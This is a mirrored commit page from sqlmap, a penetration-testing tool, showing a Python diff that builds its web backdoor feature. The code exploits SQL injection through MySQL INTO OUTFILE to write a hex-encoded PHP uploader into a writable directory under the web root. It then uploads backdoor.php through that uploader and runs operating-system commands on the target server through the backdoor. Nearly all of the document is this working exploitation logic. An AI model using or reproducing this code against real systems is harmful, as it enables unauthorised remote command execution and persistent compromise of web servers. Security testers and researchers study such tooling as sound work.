mirror of
				https://github.com/sqlmapproject/sqlmap.git
				synced 2025-11-01 00:17:25 +03:00 
			
		
		
		
	Almost done with web backdoor functionality
This commit is contained in:
		
							parent
							
								
									16b4530bbe
								
							
						
					
					
						commit
						1d7de719b9
					
				|  | @ -225,6 +225,7 @@ def getHtmlErrorFp(): | ||||||
| 
 | 
 | ||||||
| def getDocRoot(): | def getDocRoot(): | ||||||
|     docRoot = None |     docRoot = None | ||||||
|  |     pagePath = os.path.dirname(conf.path) | ||||||
| 
 | 
 | ||||||
|     if kb.os == "Windows": |     if kb.os == "Windows": | ||||||
|         defaultDocRoot = "C:\\Inetput\\wwwroot\\" |         defaultDocRoot = "C:\\Inetput\\wwwroot\\" | ||||||
|  | @ -241,8 +242,8 @@ def getDocRoot(): | ||||||
| 
 | 
 | ||||||
|             absFilePath = os.path.normpath(absFilePath) |             absFilePath = os.path.normpath(absFilePath) | ||||||
| 
 | 
 | ||||||
|             if os.path.dirname(conf.path) in absFilePath: |             if pagePath in absFilePath: | ||||||
|                 index   = absFilePath.index(conf.path) |                 index   = absFilePath.index(pagePath) | ||||||
|                 docRoot = absFilePath[:index] |                 docRoot = absFilePath[:index] | ||||||
| 
 | 
 | ||||||
|                 if absFilePathWin: |                 if absFilePathWin: | ||||||
|  |  | ||||||
|  | @ -24,6 +24,7 @@ Franklin St, Fifth Floor, Boston, MA  02110-1301  USA | ||||||
| 
 | 
 | ||||||
| 
 | 
 | ||||||
| 
 | 
 | ||||||
|  | import os | ||||||
| import re | import re | ||||||
| 
 | 
 | ||||||
| from lib.core.data import conf | from lib.core.data import conf | ||||||
|  | @ -79,4 +80,4 @@ def parseResponse(page, headers): | ||||||
| 
 | 
 | ||||||
|             for absFilePath in absFilePaths: |             for absFilePath in absFilePaths: | ||||||
|                 if absFilePath not in kb.absFilePaths: |                 if absFilePath not in kb.absFilePaths: | ||||||
|                     kb.absFilePaths.add(absFilePath) |                     kb.absFilePaths.add(os.path.dirname(absFilePath)) | ||||||
|  |  | ||||||
|  | @ -33,6 +33,7 @@ from lib.core.common import getDirs | ||||||
| from lib.core.common import getDocRoot | from lib.core.common import getDocRoot | ||||||
| from lib.core.common import randomStr | from lib.core.common import randomStr | ||||||
| from lib.core.common import readInput | from lib.core.common import readInput | ||||||
|  | from lib.core.convert import hexencode | ||||||
| from lib.core.data import conf | from lib.core.data import conf | ||||||
| from lib.core.data import kb | from lib.core.data import kb | ||||||
| from lib.core.data import logger | from lib.core.data import logger | ||||||
|  | @ -79,112 +80,7 @@ class Takeover(Abstraction, DEP, Metasploit, Registry): | ||||||
|         return output |         return output | ||||||
| 
 | 
 | ||||||
| 
 | 
 | ||||||
|     def __webBackdoorOsShell(self): |     def __webBackdoorShell(self, backdoorUrl): | ||||||
|         """ |  | ||||||
|         This method is used to write a PHP agent (cmd.php) on a writable |  | ||||||
|         remote directory within the web server document root. |  | ||||||
|         Such agent is written using the INTO OUTFILE MySQL DBMS |  | ||||||
|         functionality |  | ||||||
| 
 |  | ||||||
|         @todo:  |  | ||||||
|         * Add a web application crawling functionality to detect |  | ||||||
|           all (at least most) web server directories and merge with |  | ||||||
|           Google results if the target host is a publicly available |  | ||||||
|           hostname or IP address; |  | ||||||
|         * Extend the agent to other interpreters rather than only PHP: |  | ||||||
|           ASP, JSP, CGI (Python, Perl, Ruby, Bash). |  | ||||||
|         """ |  | ||||||
| 
 |  | ||||||
|         self.checkDbmsOs() |  | ||||||
| 
 |  | ||||||
|         kb.docRoot  = getDocRoot() |  | ||||||
|         directories = getDirs() |  | ||||||
| 
 |  | ||||||
|         infoMsg = "trying to upload the uploader agent" |  | ||||||
|         logger.info(infoMsg) |  | ||||||
| 
 |  | ||||||
|         directories = list(directories) |  | ||||||
|         directories.sort() |  | ||||||
|         uploaded = False |  | ||||||
| 
 |  | ||||||
|         # TODO: backdoor and uploader extensions must be the same as of |  | ||||||
|         # the web application language in use |  | ||||||
|         backdoorName = "backdoor.php" |  | ||||||
|         backdoorPath = "%s/%s" % (paths.SQLMAP_SHELL_PATH, backdoorName) |  | ||||||
|         uploaderName = "uploader.php" |  | ||||||
|         uploaderStr  = fileToStr("%s/%s" % (paths.SQLMAP_SHELL_PATH, uploaderName)) |  | ||||||
| 
 |  | ||||||
|         if kb.os == "Windows": |  | ||||||
|             sep = "\\\\" |  | ||||||
|         else: |  | ||||||
|             sep = "/" |  | ||||||
| 
 |  | ||||||
|         for directory in directories: |  | ||||||
|             if uploaded: |  | ||||||
|                 break |  | ||||||
| 
 |  | ||||||
|             # Upload the uploader agent |  | ||||||
|             uploaderQuery = uploaderStr.replace("WRITABLE_DIR", directory) |  | ||||||
|             query  = " LIMIT 1 INTO DUMPFILE '%s%s%s' " % (directory, sep, uploaderName) |  | ||||||
|             query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery |  | ||||||
| 
 |  | ||||||
|             query = agent.prefixQuery(" %s" % query) |  | ||||||
|             query = agent.postfixQuery(query) |  | ||||||
| 
 |  | ||||||
|             payload     = agent.payload(newValue=query) |  | ||||||
|             page        = Request.queryPage(payload) |  | ||||||
|             requestDir  = directory.replace(kb.docRoot, "/").replace("\\", "/") |  | ||||||
|             requestDir  = os.path.normpath(requestDir) |  | ||||||
| 
 |  | ||||||
|             baseUrl     = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir) |  | ||||||
|             uploaderUrl = "%s/%s" % (baseUrl, uploaderName) |  | ||||||
|             uploaderUrl = os.path.normpath(uploaderUrl) |  | ||||||
| 
 |  | ||||||
|             page, _     = Request.getPage(url=uploaderUrl, direct=True) |  | ||||||
| 
 |  | ||||||
|             if "sqlmap backdoor uploader" not in page: |  | ||||||
|                 warnMsg  = "unable to upload the uploader " |  | ||||||
|                 warnMsg += "agent on '%s'" % directory |  | ||||||
|                 logger.warn(warnMsg) |  | ||||||
| 
 |  | ||||||
|                 continue |  | ||||||
| 
 |  | ||||||
|             infoMsg  = "the uploader agent has been successfully uploaded " |  | ||||||
|             infoMsg += "on '%s'" % directory |  | ||||||
|             logger.info(infoMsg) |  | ||||||
| 
 |  | ||||||
|             # Upload the backdoor through the uploader agent |  | ||||||
|             multipartParams = { |  | ||||||
|                                 "upload":    "1", |  | ||||||
|                                 "file":      open(backdoorPath, "r"), |  | ||||||
|                                 "uploadDir": directory, |  | ||||||
|                               } |  | ||||||
|             uploaderUrl = "%s/%s" % (baseUrl, uploaderName) |  | ||||||
|             page = Request.getPage(url=uploaderUrl, multipart=multipartParams) |  | ||||||
| 
 |  | ||||||
|             if "Backdoor uploaded" not in page: |  | ||||||
|                 warnMsg  = "unable to upload the backdoor through " |  | ||||||
|                 warnMsg += "the uploader agent on '%s'" % directory |  | ||||||
|                 logger.warn(warnMsg) |  | ||||||
| 
 |  | ||||||
|                 continue |  | ||||||
| 
 |  | ||||||
|             uploaded    = True |  | ||||||
|             backdoorUrl = "%s/%s" % (baseUrl, backdoorName) |  | ||||||
| 
 |  | ||||||
|             infoMsg  = "the backdoor has been successfully uploaded on " |  | ||||||
|             infoMsg += "'%s', go with your browser to " % directory |  | ||||||
|             infoMsg += "'%s' and enjoy it!" % backdoorUrl |  | ||||||
|             logger.info(infoMsg) |  | ||||||
| 
 |  | ||||||
|             if conf.osShell: |  | ||||||
|                 message  = "do you want to use the uploaded backdoor as a " |  | ||||||
|                 message += "shell to execute commands right now? [Y/n] " |  | ||||||
|                 shell = readInput(message, default="Y") |  | ||||||
| 
 |  | ||||||
|                 if shell in ("n", "N"): |  | ||||||
|                     continue |  | ||||||
| 
 |  | ||||||
|         infoMsg  = "calling OS shell. To quit type " |         infoMsg  = "calling OS shell. To quit type " | ||||||
|         infoMsg += "'x' or 'q' and press ENTER" |         infoMsg += "'x' or 'q' and press ENTER" | ||||||
|         logger.info(infoMsg) |         logger.info(infoMsg) | ||||||
|  | @ -215,6 +111,91 @@ class Takeover(Abstraction, DEP, Metasploit, Registry): | ||||||
|             self.__webBackdoorRunCmd(backdoorUrl, command) |             self.__webBackdoorRunCmd(backdoorUrl, command) | ||||||
| 
 | 
 | ||||||
| 
 | 
 | ||||||
|  |     def __webBackdoorInit(self): | ||||||
|  |         """ | ||||||
|  |         This method is used to write a PHP agent (cmd.php) on a writable | ||||||
|  |         remote directory within the web server document root. | ||||||
|  |         Such agent is written using the INTO OUTFILE MySQL DBMS | ||||||
|  |         functionality | ||||||
|  |         """ | ||||||
|  | 
 | ||||||
|  |         self.checkDbmsOs() | ||||||
|  | 
 | ||||||
|  |         backdoorUrl = None | ||||||
|  |         kb.docRoot  = getDocRoot() | ||||||
|  |         directories = getDirs() | ||||||
|  |         directories = list(directories) | ||||||
|  |         directories.sort() | ||||||
|  | 
 | ||||||
|  |         infoMsg = "trying to upload the uploader agent" | ||||||
|  |         logger.info(infoMsg) | ||||||
|  | 
 | ||||||
|  |         # TODO: backdoor and uploader extensions must be the same as of | ||||||
|  |         # the web application language in use | ||||||
|  |         backdoorName = "backdoor.php" | ||||||
|  |         backdoorPath = "%s/%s" % (paths.SQLMAP_SHELL_PATH, backdoorName) | ||||||
|  |         uploaderName = "uploader.php" | ||||||
|  |         uploaderStr  = fileToStr("%s/%s" % (paths.SQLMAP_SHELL_PATH, uploaderName)) | ||||||
|  | 
 | ||||||
|  |         if kb.os == "Windows": | ||||||
|  |             sep = "\\\\" | ||||||
|  |         else: | ||||||
|  |             sep = "/" | ||||||
|  | 
 | ||||||
|  |         for directory in directories: | ||||||
|  |             # Upload the uploader agent | ||||||
|  |             outFile     = os.path.normpath("%s%s%s" % (directory, sep, uploaderName)) | ||||||
|  |             uplQuery    = uploaderStr.replace("WRITABLE_DIR", directory) | ||||||
|  |             query       = " LIMIT 1 INTO OUTFILE '%s' " % outFile | ||||||
|  |             query      += "LINES TERMINATED BY 0x%s --" % hexencode(uplQuery) | ||||||
|  |             query       = agent.prefixQuery(" %s" % query) | ||||||
|  |             query       = agent.postfixQuery(query) | ||||||
|  |             payload     = agent.payload(newValue=query) | ||||||
|  |             page        = Request.queryPage(payload) | ||||||
|  | 
 | ||||||
|  |             requestDir  = os.path.normpath(directory.replace(kb.docRoot, "/").replace("\\", "/")) | ||||||
|  |             baseUrl     = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir) | ||||||
|  |             uploaderUrl = "%s/%s" % (baseUrl, uploaderName) | ||||||
|  |             uplPage, _  = Request.getPage(url=uploaderUrl, direct=True) | ||||||
|  | 
 | ||||||
|  |             if "sqlmap backdoor uploader" not in uplPage: | ||||||
|  |                 warnMsg  = "unable to upload the uploader " | ||||||
|  |                 warnMsg += "agent on '%s'" % directory | ||||||
|  |                 logger.warn(warnMsg) | ||||||
|  | 
 | ||||||
|  |                 continue | ||||||
|  | 
 | ||||||
|  |             infoMsg  = "the uploader agent has been successfully uploaded " | ||||||
|  |             infoMsg += "on '%s'" % directory | ||||||
|  |             logger.info(infoMsg) | ||||||
|  | 
 | ||||||
|  |             # Upload the backdoor through the uploader agent | ||||||
|  |             multipartParams = { | ||||||
|  |                                 "upload":    "1", | ||||||
|  |                                 "file":      open(backdoorPath, "r"), | ||||||
|  |                                 "uploadDir": directory, | ||||||
|  |                               } | ||||||
|  |             page = Request.getPage(url=uploaderUrl, multipart=multipartParams) | ||||||
|  | 
 | ||||||
|  |             if "Backdoor uploaded" not in page: | ||||||
|  |                 warnMsg  = "unable to upload the backdoor through " | ||||||
|  |                 warnMsg += "the uploader agent on '%s'" % directory | ||||||
|  |                 logger.warn(warnMsg) | ||||||
|  | 
 | ||||||
|  |                 continue | ||||||
|  | 
 | ||||||
|  |             backdoorUrl = "%s/%s" % (baseUrl, backdoorName) | ||||||
|  | 
 | ||||||
|  |             infoMsg  = "the backdoor has been successfully uploaded on " | ||||||
|  |             infoMsg += "'%s', go with your browser to " % directory | ||||||
|  |             infoMsg += "'%s' and enjoy it!" % backdoorUrl | ||||||
|  |             logger.info(infoMsg) | ||||||
|  | 
 | ||||||
|  |             break | ||||||
|  | 
 | ||||||
|  |         return backdoorUrl | ||||||
|  | 
 | ||||||
|  | 
 | ||||||
|     def uploadChurrasco(self): |     def uploadChurrasco(self): | ||||||
|         msg  = "do you want sqlmap to upload Churrasco and call the " |         msg  = "do you want sqlmap to upload Churrasco and call the " | ||||||
|         msg += "Metasploit payload stager as its argument so that it " |         msg += "Metasploit payload stager as its argument so that it " | ||||||
|  | @ -243,8 +224,15 @@ class Takeover(Abstraction, DEP, Metasploit, Registry): | ||||||
|         stackedTest() |         stackedTest() | ||||||
| 
 | 
 | ||||||
|         if kb.stackedTest == False: |         if kb.stackedTest == False: | ||||||
|             return |             infoMsg  = "going to upload a web page backdoor for command " | ||||||
|  |             infoMsg += "execution" | ||||||
|  |             logger.info(infoMsg) | ||||||
| 
 | 
 | ||||||
|  |             backdoorUrl = self.__webBackdoorInit() | ||||||
|  | 
 | ||||||
|  |             if backdoorUrl: | ||||||
|  |                 self.__webBackdoorRunCmd(backdoorUrl, conf.osCmd) | ||||||
|  |         else: | ||||||
|             self.initEnv() |             self.initEnv() | ||||||
|             self.runCmd(conf.osCmd) |             self.runCmd(conf.osCmd) | ||||||
| 
 | 
 | ||||||
|  | @ -257,7 +245,10 @@ class Takeover(Abstraction, DEP, Metasploit, Registry): | ||||||
|             infoMsg += "execution" |             infoMsg += "execution" | ||||||
|             logger.info(infoMsg) |             logger.info(infoMsg) | ||||||
| 
 | 
 | ||||||
|             self.__webBackdoorOsShell() |             backdoorUrl = self.__webBackdoorInit() | ||||||
|  | 
 | ||||||
|  |             if backdoorUrl: | ||||||
|  |                 self.__webBackdoorShell(backdoorUrl) | ||||||
|         else: |         else: | ||||||
|             self.initEnv() |             self.initEnv() | ||||||
|             self.absOsShell() |             self.absOsShell() | ||||||
|  |  | ||||||
		Loading…
	
		Reference in New Issue
	
	Block a user